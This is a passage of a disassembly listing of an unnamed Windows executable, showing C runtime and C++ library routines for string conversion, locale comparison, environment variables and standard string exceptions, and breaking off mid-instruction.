loc_421EA7 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_421EA7: ; CODE XREF: sub_421E6D+31j add eax, 0FFFFFFFEh pop ebp retn sub_421E6D endp ; =============== S U B R O U T I N E ======================================= sub_421EAC proc near ; CODE XREF: sub_421ADE+1Ep ; sub_422197+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4894DC push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_421F0D mov ebx, dword_423150 loc_421EC5: ; CODE XREF: sub_421EAC+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_421F15 push ebp call sub_417889 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_421F15 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_421F15 push edi push [esp+18h+var_4] call sub_422197 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_421EC5 loc_421F0D: ; CODE XREF: sub_421EAC+11j xor eax, eax loc_421F0F: ; CODE XREF: sub_421EAC+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_421F15: ; CODE XREF: sub_421EAC+29j ; sub_421EAC+38j ... or eax, 0FFFFFFFFh jmp short loc_421F0F sub_421EAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F1A proc near ; CODE XREF: sub_421E6D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423C80 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_489798, ebx push 1 pop edi jnz short loc_421F8D push edi mov eax, offset dword_4238D0 push eax push edi push eax push ebx push ebx call dword_423008 ; CompareStringW test eax, eax jz short loc_421F6A mov dword_489798, edi jmp short loc_421F8D ; --------------------------------------------------------------------------- loc_421F6A: ; CODE XREF: sub_421F1A+46j push edi mov eax, offset dword_43BCF8 push eax push edi push eax push ebx push ebx call dword_42300C ; CompareStringA test eax, eax jz loc_422183 mov dword_489798, 2 loc_421F8D: ; CODE XREF: sub_421F1A+31j ; sub_421F1A+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_421FA4 push esi push [ebp+arg_8] call sub_41E62D pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_421FA4: ; CODE XREF: sub_421F1A+78j cmp [ebp+arg_14], ebx jle short loc_421FB9 push [ebp+arg_14] push [ebp+arg_10] call sub_41E62D pop ecx pop ecx mov [ebp+arg_14], eax loc_421FB9: ; CODE XREF: sub_421F1A+8Dj mov eax, dword_489798 cmp eax, 2 jnz short loc_421FDE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42300C ; CompareStringA jmp loc_422185 ; --------------------------------------------------------------------------- loc_421FDE: ; CODE XREF: sub_421F1A+A7j cmp eax, edi jnz loc_422183 cmp [ebp+arg_18], ebx jnz short loc_421FF3 mov eax, dword_489550 mov [ebp+arg_18], eax loc_421FF3: ; CODE XREF: sub_421F1A+CFj cmp esi, ebx jz short loc_422000 cmp [ebp+arg_14], ebx jnz loc_422098 loc_422000: ; CODE XREF: sub_421F1A+DBj cmp esi, [ebp+arg_14] jnz short loc_42200D loc_422005: ; CODE XREF: sub_421F1A+13Cj ; sub_421F1A+16Dj push 2 loc_422007: ; CODE XREF: sub_421F1A+146j pop eax jmp loc_422185 ; --------------------------------------------------------------------------- loc_42200D: ; CODE XREF: sub_421F1A+E9j cmp [ebp+arg_14], edi jle short loc_422019 loc_422012: ; CODE XREF: sub_421F1A+151j ; sub_421F1A+159j ... mov eax, edi jmp loc_422185 ; --------------------------------------------------------------------------- loc_422019: ; CODE XREF: sub_421F1A+F6j cmp esi, edi jg short loc_42205E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_4231CC ; GetCPInfo test eax, eax jz loc_422183 cmp esi, ebx jle short loc_422062 cmp [ebp+var_3C], 2 jb short loc_42205E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42205E loc_422044: ; CODE XREF: sub_421F1A+142j mov dl, [eax+1] cmp dl, bl jz short loc_42205E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422058 cmp cl, dl jbe short loc_422005 loc_422058: ; CODE XREF: sub_421F1A+138j inc eax inc eax cmp [eax], bl jnz short loc_422044 loc_42205E: ; CODE XREF: sub_421F1A+101j ; sub_421F1A+120j ... push 3 jmp short loc_422007 ; --------------------------------------------------------------------------- loc_422062: ; CODE XREF: sub_421F1A+11Aj cmp [ebp+arg_14], ebx jle short loc_422098 cmp [ebp+var_3C], 2 jb short loc_422012 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_422012 loc_422075: ; CODE XREF: sub_421F1A+177j mov dl, [eax+1] cmp dl, bl jz short loc_422012 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42208D cmp cl, dl jbe loc_422005 loc_42208D: ; CODE XREF: sub_421F1A+169j inc eax inc eax cmp [eax], bl jnz short loc_422075 jmp loc_422012 ; --------------------------------------------------------------------------- loc_422098: ; CODE XREF: sub_421F1A+E0j ; sub_421F1A+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_423070 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_422183 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220E7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4220E7: ; CODE XREF: sub_421F1A+1B5j cmp [ebp+var_24], ebx jz loc_422183 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_423070 call esi ; MultiByteToWideChar test eax, eax jz short loc_422183 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422183 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422152 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422152: ; CODE XREF: sub_421F1A+224j cmp edi, ebx jz short loc_422183 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_423070 ; MultiByteToWideChar test eax, eax jz short loc_422183 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_423008 ; CompareStringW jmp short loc_422185 ; --------------------------------------------------------------------------- loc_422183: ; CODE XREF: sub_421F1A+63j ; sub_421F1A+C6j ... xor eax, eax loc_422185: ; CODE XREF: sub_421F1A+BFj ; sub_421F1A+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421F1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422197 proc near ; CODE XREF: sub_421EAC+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4221FB push 3Dh push [ebp+arg_0] call sub_4223DD mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4221FB cmp [ebp+arg_0], esi jz short loc_4221FB mov eax, dword_4894D4 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4894D8 jnz short loc_4221E1 push eax call sub_422376 pop ecx mov dword_4894D4, eax loc_4221E1: ; CODE XREF: sub_422197+3Cj cmp eax, edi jnz short loc_422239 cmp [ebp+arg_4], edi jz short loc_422203 cmp dword_4894DC, edi jz short loc_422203 call sub_421EAC test eax, eax jz short loc_422239 loc_4221FB: ; CODE XREF: sub_422197+Dj ; sub_422197+22j ... or eax, 0FFFFFFFFh loc_4221FE: ; CODE XREF: sub_422197+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422203: ; CODE XREF: sub_422197+51j ; sub_422197+59j cmp ebx, edi jnz loc_422317 push 4 call sub_417889 cmp eax, edi pop ecx mov dword_4894D4, eax jz short loc_4221FB mov [eax], edi cmp dword_4894DC, edi jnz short loc_422239 push 4 call sub_417889 cmp eax, edi pop ecx mov dword_4894DC, eax jz short loc_4221FB mov [eax], edi loc_422239: ; CODE XREF: sub_422197+4Cj ; sub_422197+62j ... sub esi, [ebp+arg_0] mov edi, dword_4894D4 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_42231E mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422299 cmp dword ptr [edi], 0 jz short loc_422299 test ebx, ebx jz short loc_422291 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41793B pop ecx loc_42226B: ; CODE XREF: sub_422197+E2j cmp dword ptr [edi], 0 jz short loc_42227B mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42226B ; --------------------------------------------------------------------------- loc_42227B: ; CODE XREF: sub_422197+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41914F pop ecx test eax, eax pop ecx jz short loc_4222CB jmp short loc_4222C6 ; --------------------------------------------------------------------------- loc_422291: ; CODE XREF: sub_422197+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4222CB ; --------------------------------------------------------------------------- loc_422299: ; CODE XREF: sub_422197+BDj ; sub_422197+C2j test ebx, ebx jnz short loc_422317 test esi, esi jge short loc_4222A3 neg esi loc_4222A3: ; CODE XREF: sub_422197+108j lea eax, ds:8[esi*4] push eax push edi call sub_41914F pop ecx test eax, eax pop ecx jz loc_4221FB mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4222C6: ; CODE XREF: sub_422197+F8j mov dword_4894D4, eax loc_4222CB: ; CODE XREF: sub_422197+F6j ; sub_422197+100j cmp [ebp+arg_4], 0 jz short loc_422317 push [ebp+arg_0] call sub_4177B0 inc eax inc eax push eax call sub_417889 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422317 push [ebp+arg_0] push esi call sub_4176C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_423004 ; SetEnvironmentVariableA push esi call sub_41793B pop ecx loc_422317: ; CODE XREF: sub_422197+6Ej ; sub_422197+104j ... xor eax, eax jmp loc_4221FE sub_422197 endp ; =============== S U B R O U T I N E ======================================= sub_42231E proc near ; CODE XREF: sub_422197+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4894D4 push edi mov eax, [esi] test eax, eax jz short loc_422359 mov edi, [esp+8+arg_4] loc_422330: ; CODE XREF: sub_42231E+39j push edi push eax push [esp+10h+arg_0] call sub_421E6D add esp, 0Ch test eax, eax jnz short loc_42234F mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422369 test al, al jz short loc_422369 loc_42234F: ; CODE XREF: sub_42231E+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_422330 loc_422359: ; CODE XREF: sub_42231E+Cj mov eax, esi sub eax, dword_4894D4 sar eax, 2 neg eax loc_422366: ; CODE XREF: sub_42231E+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422369: ; CODE XREF: sub_42231E+2Bj ; sub_42231E+2Fj mov eax, esi sub eax, dword_4894D4 sar eax, 2 jmp short loc_422366 sub_42231E endp ; =============== S U B R O U T I N E ======================================= sub_422376 proc near ; CODE XREF: sub_422197+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422385 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422385: ; CODE XREF: sub_422376+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422397 loc_42238D: ; CODE XREF: sub_422376+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_42238D loc_422397: ; CODE XREF: sub_422376+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417889 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4223B8 push 9 call sub_4199DA pop ecx loc_4223B8: ; CODE XREF: sub_422376+38j mov eax, [edi] mov ebx, edi loc_4223BC: ; CODE XREF: sub_422376+5Bj test eax, eax jz short loc_4223D3 push eax add ebx, 4 call sub_422450 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4223BC ; --------------------------------------------------------------------------- loc_4223D3: ; CODE XREF: sub_422376+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422376 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223DD proc near ; CODE XREF: sub_422197+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_48A8FC, 0 jnz short loc_4223F8 push [ebp+arg_4] push [ebp+arg_0] call sub_418C50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4223F8: ; CODE XREF: sub_4223DD+Aj mov ecx, [ebp+arg_0] loc_4223FB: ; CODE XREF: sub_4223DD+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_42243E movzx edx, al test byte_48AA01[edx], 4 jz short loc_42242A mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422435 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422439 jmp short loc_422432 ; --------------------------------------------------------------------------- loc_42242A: ; CODE XREF: sub_4223DD+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_42243E loc_422432: ; CODE XREF: sub_4223DD+4Bj inc ecx jmp short loc_4223FB ; --------------------------------------------------------------------------- loc_422435: ; CODE XREF: sub_4223DD+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_4223DD+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_42243E: ; CODE XREF: sub_4223DD+25j ; sub_4223DD+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4223DD endp ; =============== S U B R O U T I N E ======================================= sub_422450 proc near ; CODE XREF: sub_40A610+21p ; sub_422376+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422477 push esi call sub_4177B0 inc eax push eax call sub_417889 pop ecx test eax, eax pop ecx jz short loc_422477 push esi push eax call sub_4176C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422477: ; CODE XREF: sub_422450+7j ; sub_422450+1Aj xor eax, eax pop esi retn sub_422450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422480 proc near ; CODE XREF: sub_422563+19p ; sub_42268A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_4177B0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_404658 mov eax, esi pop esi retn 8 sub_422480 endp ; =============== S U B R O U T I N E ======================================= sub_4224AA proc near ; CODE XREF: .data:004224D5p ; sub_422558+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C9C call sub_404620 mov ecx, esi pop esi jmp sub_4228A6 sub_4224AA endp ; =============== S U B R O U T I N E ======================================= sub_4224C5 proc near ; DATA XREF: .data:00423CA0o ; .data:00423CB0o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4224D1 mov eax, offset dword_423288 locret_4224D1: ; CODE XREF: sub_4224C5+5j retn sub_4224C5 endp ; --------------------------------------------------------------------------- loc_4224D2: ; DATA XREF: .data:off_423C9Co push esi mov esi, ecx call sub_4224AA test byte ptr [esp+8], 1 jz short loc_4224E8 push esi call sub_417FAF pop ecx loc_4224E8: ; CODE XREF: .data:004224DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4224EE proc near ; CODE XREF: sub_422563+29p mov eax, offset loc_422E22 call sub_417F90 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_423CB8 call sub_42281F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C9C call sub_4225A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_423CAC mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4224EE endp ; =============== S U B R O U T I N E ======================================= sub_42253C proc near ; DATA XREF: .data:off_423CACo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422558 test [esp+4+arg_0], 1 jz short loc_422552 push esi call sub_417FAF pop ecx loc_422552: ; CODE XREF: sub_42253C+Dj mov eax, esi pop esi retn 4 sub_42253C endp ; =============== S U B R O U T I N E ======================================= sub_422558 proc near ; CODE XREF: sub_42253C+3p ; DATA XREF: .data:00424010o mov dword ptr [ecx], offset off_423CAC jmp sub_4224AA sub_422558 endp ; =============== S U B R O U T I N E ======================================= sub_422563 proc near ; CODE XREF: sub_4044CD+13p ; sub_40468D+Ep mov eax, offset loc_422E34 call sub_417F90 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422480 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4224EE push offset dword_42400C lea eax, [ebp-3Ch] push eax call sub_4228C9 int 3 ; Trap to Debugger sub_422563 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4225A0 proc near ; CODE XREF: sub_4224EE+32p ; sub_4225C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_4044CD mov eax, esi pop esi retn 4 sub_4225A0 endp ; =============== S U B R O U T I N E ======================================= sub_4225C0 proc near ; CODE XREF: sub_42268A+29p mov eax, offset loc_422E46 call sub_417F90 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_423CB8 call sub_42281F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C9C call sub_4225A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4225C0 endp ; =============== S U B R O U T I N E ======================================= sub_422608 proc near ; CODE XREF: sub_422672+7p ; sub_4226CE+7p ... mov eax, offset loc_422E58 call sub_417F90 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42285C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C9C call sub_4225A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422608 endp ; =============== S U B R O U T I N E ======================================= sub_42264B proc near ; DATA XREF: .data:off_423CD8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422667 test [esp+4+arg_0], 1 jz short loc_422661 push esi call sub_417FAF pop ecx loc_422661: ; CODE XREF: sub_42264B+Dj mov eax, esi pop esi retn 4 sub_42264B endp ; =============== S U B R O U T I N E ======================================= sub_422667 proc near ; CODE XREF: sub_42264B+3p ; DATA XREF: .data:004240B8o mov dword ptr [ecx], offset off_423CD8 jmp sub_4224AA sub_422667 endp ; =============== S U B R O U T I N E ======================================= sub_422672 proc near ; CODE XREF: sub_4226E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422608 mov dword ptr [esi], offset off_423CAC mov eax, esi pop esi retn 4 sub_422672 endp ; =============== S U B R O U T I N E ======================================= sub_42268A proc near ; CODE XREF: sub_40441B+12p ; sub_404475+12p ... mov eax, offset loc_422E6A call sub_417F90 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422480 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4225C0 push offset dword_4240B4 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_423CD8 call sub_4228C9 int 3 ; Trap to Debugger sub_42268A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4226CE proc near ; CODE XREF: sub_4226E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422608 mov dword ptr [esi], offset off_423CD8 mov eax, esi pop esi retn 4 sub_4226CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226E6 proc near ; DATA XREF: .data:00423CA4o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422608 push offset dword_4240F4 lea eax, [ebp+var_1C] push eax call sub_4228C9 int 3 ; Trap to Debugger loc_422704: ; DATA XREF: .data:00423CE0o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4226CE push offset dword_4240B4 lea eax, [ebp+var_1C] push eax call sub_4228C9 int 3 ; Trap to Debugger loc_422722: ; DATA XREF: .data:00423CB4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422672 push offset dword_42400C lea eax, [ebp+var_1C] push eax call sub_4228C9 int 3 ; Trap to Debugger sub_4226E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_422740 proc near ; CODE XREF: sub_404904+6Cp jmp dword_4231D8 sub_422740 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_422746 proc near ; CODE XREF: sub_403DAF+5Ep ; sub_405285+157p jmp dword_423210 sub_422746 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42274C proc near ; CODE XREF: sub_417BFC+23p ; sub_417EA0+13p jmp dword_423188 sub_42274C endp ; =============== S U B R O U T I N E ======================================= sub_422752 proc near ; CODE XREF: sub_4091D7+E2p ; sub_4091D7+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_489540, 0 push ebx jnz short loc_422798 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422764: ; CODE XREF: sub_422752+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422776 cmp bx, 41h jb short loc_422776 add ebx, 20h loc_422776: ; CODE XREF: sub_422752+19j ; sub_422752+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422788 cmp ax, 41h jb short loc_422788 add eax, 20h loc_422788: ; CODE XREF: sub_422752+2Bj ; sub_422752+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4227C8 cmp bx, ax jz short loc_422764 jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_422798: ; CODE XREF: sub_422752+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4227A2: ; CODE XREF: sub_422752+72j mov ax, [esi] inc esi push eax inc esi call sub_422903 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422903 pop ecx test bx, bx pop ecx jz short loc_4227C6 cmp bx, ax jz short loc_4227A2 loc_4227C6: ; CODE XREF: sub_422752+6Dj pop edi pop esi loc_4227C8: ; CODE XREF: sub_422752+3Dj ; sub_422752+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422752 endp ; =============== S U B R O U T I N E ======================================= sub_4227D2 proc near ; CODE XREF: .data:004227EAp mov dword ptr [ecx], offset off_423CF8 mov ecx, [ecx+4] test ecx, ecx jz short locret_4227E6 push ecx call sub_41793B pop ecx locret_4227E6: ; CODE XREF: sub_4227D2+Bj retn sub_4227D2 endp ; --------------------------------------------------------------------------- loc_4227E7: ; DATA XREF: .data:off_423CF8o push esi mov esi, ecx call sub_4227D2 test byte ptr [esp+8], 1 jz short loc_4227FD push esi call sub_417FAF pop ecx loc_4227FD: ; CODE XREF: .data:004227F4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422803: ; DATA XREF: .data:off_423D00o push esi mov esi, ecx call sub_4228A6 test byte ptr [esp+8], 1 jz short loc_422819 push esi call sub_417FAF pop ecx loc_422819: ; CODE XREF: .data:00422810j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42281F proc near ; CODE XREF: sub_4224EE+1Dp ; sub_4225C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_423D00 push dword ptr [edi] call sub_4177B0 inc eax push eax call sub_4182F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42284E push dword ptr [edi] push eax call sub_4176C0 pop ecx pop ecx loc_42284E: ; CODE XREF: sub_42281F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42281F endp ; =============== S U B R O U T I N E ======================================= sub_42285C proc near ; CODE XREF: sub_422608+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_423D00 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422899 push dword ptr [edi+4] call sub_4177B0 inc eax push eax call sub_4182F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42289F push dword ptr [edi+4] push eax call sub_4176C0 pop ecx pop ecx jmp short loc_42289F ; --------------------------------------------------------------------------- loc_422899: ; CODE XREF: sub_42285C+16j mov eax, [edi+4] mov [esi+4], eax loc_42289F: ; CODE XREF: sub_42285C+2Ej ; sub_42285C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42285C endp ; =============== S U B R O U T I N E ======================================= sub_4228A6 proc near ; CODE XREF: sub_4224AA+16j ; .data:00422806p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_423D00 jz short locret_4228BB push dword ptr [ecx+4] call sub_417FAF pop ecx locret_4228BB: ; CODE XREF: sub_4228A6+Aj retn sub_4228A6 endp ; =============== S U B R O U T I N E ======================================= sub_4228BC proc near ; DATA XREF: .data:00423D04o mov eax, [ecx+4] test eax, eax jnz short locret_4228C8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4228C8: ; CODE XREF: sub_4228BC+5j retn sub_4228BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228C9 proc near ; CODE XREF: sub_422563+37p ; sub_42268A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_423D20 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_4231BC ; RaiseException pop edi pop esi leave retn 8 sub_4228C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422903 proc near ; CODE XREF: sub_422752+56p ; sub_422752+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422915 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422915: ; CODE XREF: sub_422903+Bj cmp dword_489540, 0 jnz short loc_42292F cmp ax, 41h jb short locret_422976 cmp ax, 5Ah ja short locret_422976 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42292F: ; CODE XREF: sub_422903+19j cmp ax, 100h jnb short loc_422949 push 1 push eax call sub_422BB1 pop ecx test eax, eax pop ecx jnz short loc_422949 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422949: ; CODE XREF: sub_422903+30j ; sub_422903+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_489540 call 